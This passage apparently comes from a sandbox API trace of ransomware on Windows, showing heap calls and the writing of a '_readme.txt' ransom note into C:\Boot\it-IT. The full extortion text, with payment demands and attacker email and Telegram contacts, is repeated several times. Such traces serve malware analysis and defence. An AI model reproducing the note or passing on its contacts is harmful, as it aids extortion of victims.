Flags=0x0, Size=0x20) returned 0x30e5950 [0059.219] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.219] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.219] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.219] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.219] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.219] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.219] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.219] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.219] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.219] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.220] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.220] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.220] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.220] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.220] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.220] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.220] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.220] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.220] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.220] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.220] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.220] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.220] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.220] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.220] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.220] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.220] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.220] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.220] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.220] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.220] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.220] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.220] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.220] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.220] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.220] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.220] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.220] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.220] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.220] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.220] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.220] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.221] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.221] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.221] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.221] PathFindFileNameW (pszPath="C:\\Boot\\it-IT\\") returned="it-IT\\" [0059.221] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.221] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0059.221] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0059.221] PathFindFileNameW (pszPath="") returned="" [0059.221] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.221] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75fd0000 [0059.221] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathW") returned 0x76055708 [0059.221] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x800) returned 0x306a418 [0059.221] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x306a418 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0059.221] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x810) returned 0x30c8ab8 [0059.221] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.221] FreeLibrary (hLibModule=0x75fd0000) returned 1 [0059.222] PathAppendW (in: pszPath="C:\\Boot\\it-IT\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\it-IT\\_readme.txt") returned 1 [0059.222] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.222] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.222] PathFileExistsW (pszPath="C:\\Boot\\it-IT\\_readme.txt") returned 0 [0059.223] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x7d00) returned 0x312a418 [0059.223] lstrcpyW (in: lpString1=0x312a418, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkd" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkd") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkd" [0059.223] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkd", lpString2="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkdKRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkdKRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e" [0059.223] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c9340 [0059.223] CreateFileW (lpFileName="C:\\Boot\\it-IT\\_readme.txt" (normalized: "c:\\boot\\it-it\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c0 [0059.223] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x930) returned 0x3100c28 [0059.223] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x894) returned 0x3068dd8 [0059.223] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkdKRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x3068dd8, cbMultiByte=2196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkdKRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 1173 [0059.223] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x8a0) returned 0x3132120 [0059.223] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.223] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0059.223] lstrlenA (lpString="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkdKRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e") returned 1172 [0059.223] WriteFile (in: hFile=0x5c0, lpBuffer=0x3132120*, nNumberOfBytesToWrite=0x494, lpNumberOfBytesWritten=0x9aafb64, lpOverlapped=0x0 | out: lpBuffer=0x3132120*, lpNumberOfBytesWritten=0x9aafb64*=0x494, lpOverlapped=0x0) returned 1 [0059.224] CloseHandle (hObject=0x5c0) returned 1 [0059.224] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3132120 | out: hHeap=0x670000) returned 1 [0059.224] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c9340 | out: hHeap=0x670000) returned 1 [0059.224] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a418 | out: hHeap=0x670000) returned 1 [0059.225] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.225] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.225] FindFirstFileW (in: lpFileName="C:\\Boot\\it-IT\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13b8a0b0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13b8a0b0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0059.225] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.225] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13b8a0b0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13b8a0b0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.225] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0059.225] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13b8a0b0, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13b8a0b0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13b8a0b0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0059.225] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13b8a0b0, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13b8a0b0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13b8a0b0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0059.225] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0059.225] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.225] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5360 | out: hHeap=0x670000) returned 1 [0059.225] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5360 [0059.225] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0059.225] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.225] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.225] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.225] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.225] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.225] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.225] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.225] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.225] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.225] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.226] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.226] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.226] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.226] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.226] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.226] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.226] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.226] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.226] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.226] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.226] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.226] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.226] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.226] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.226] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.226] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.226] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0059.226] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.226] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.226] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.226] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.226] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.226] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.226] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.226] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.226] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.226] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.226] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.226] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.226] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.226] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.226] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.227] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.227] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.227] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.227] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.227] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.227] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.227] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.227] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.227] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.227] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.227] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.227] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.227] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.227] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.227] HeapFree (in: 